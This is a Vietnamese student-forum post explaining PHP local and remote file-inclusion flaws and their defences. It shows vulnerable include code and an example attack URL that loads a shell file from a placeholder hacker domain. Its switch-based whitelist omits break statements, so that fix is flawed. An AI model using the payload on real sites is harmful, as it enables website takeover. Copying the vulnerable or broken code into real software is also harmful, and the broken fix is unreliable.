Sinh vien hoa sen


Login - Đăng Nhập
Cũ 08-04-2008, 12:19 AM   #1 (permalink)
Profile - Thông Tin Cá Nhân
123... trốn
 
Avatar của hiepgia
 
Mặc định Lỗi Include Files

Các ứng dụng web thường dùng request để gọi tới một trang nào đó từ index.php, chẳng hạn: index.php?act=home. Khi đó trong mã php sẽ là:

Mã:
  1. <LI class=li1>$page = $_GET['act'];
  2. include($page.'.php'); // => include('home.php')
Có khá nhiều ứng dụng web bị khai thác từ lỗi này. Vì với đoạn mã như trên, bất cứ ai cũng có thể chèn file khác vào để kiểm soát website và có thể xem bất cứ thông tin gì như file cấu hình, thông tin tài khoản truy cập CSDL: index.php?act=http://hacker_domain.com/sh3ll.txt
Sau đây là những cách phòng chống: - Kiểm duyệt giá trị nhận từ request:

Mã:
$page = preg_replace("/[^a-zA-Z0-9]/", "", $_GET['act']);
Sử dụng switch...case:

Mã:
  1. $page = $_GET['act'];
  2. switch($page) {
  3. case 'home': $p = 'trang_chu';
  4. case 'contact': $p = 'lien_he';
  5. default: $p = 'trang_chu';
  6. }
  7. include($p.'.php');
Nếu bạn chỉ muốn include file HTML, bạn hãy dùng hàm readfile thay vì include vì readfile chỉ đọc nội dung chứ không thông qua biên dịch mã PHP!

Chữ Ký Của Webmaster hiepgia Thanks nếu bạn thấy hay ^^!
I'm Pinky's Husband ^^!
Quy định về chữ ký: http://www.sinhvienhoasen.com/forum/...ad.php?t=13396. Đề nghị các Admin, Smod thực hiện...
hiepgia đang ẩn  
Lần đọc: 204
Trả lời với trích dẫn
The Following User Says Thank You to hiepgia For This Useful Post:
Trả lời

Công cụ bài viết
Kiểu hiển thị

Quyền viết bài
Bạn không thể gửi chủ đề mới
Bạn không thể gửi trả lời
Bạn không thể gửi file đính kèm
Bạn không thể sửa bài viết của mình

BB code đang Mở
Mặt cười đang Mở
[IMG] đang Mở
HTML đang Tắt
Trackbacks are Mở
Pingbacks are Mở
Refbacks are Mở


Chủ đề tương tự
Chủ đề Người khởi xướng chủ đề Diễn đàn Trả lời Bài cuối
Khôi phục dữ liệu với Recover My Files 3.98 Build 5807 It4pro_modI Backup & Recovery 1 26-10-2009 12:59 PM
SuperCleaner 2.96 dọn dẹp máy tính hiệu quả okasuke Optimization & Speed-up 5 08-06-2009 08:50 PM
Glary Utilities PRO 2.3.3 It4pro_modI Optimization & Speed-up 1 12-07-2008 08:06 PM
HIREN'S BOOTCD 9.4+keyboard patch+ NO PASS, Phiên bản mới nhất_Miễn bàn Osama Pikachu Operating System 1 14-03-2008 07:43 PM
Sử dụng tiện ích Backup trong Windows XP Admin Operating System 1 26-10-2007 04:28 PM

Address: Hoa Sen University, Ho Chi Minh City, Viet Nam.
Designed by hiepgia.
Best Viewed in 1024x768 with IE6+, Firefox 1.5+, Chrome, Opera 9+.
Truy cập vào Website, nghĩa là bạn đã chấp nhận Quy Định của Forum!
RSS RSS 2.0 XML MAP

Valid XHTML 1.0 Transitional Valid CSS!
vBulletin v3.8.4 Licensed & Copyright © 2008 - 2009, Hoa Sen University.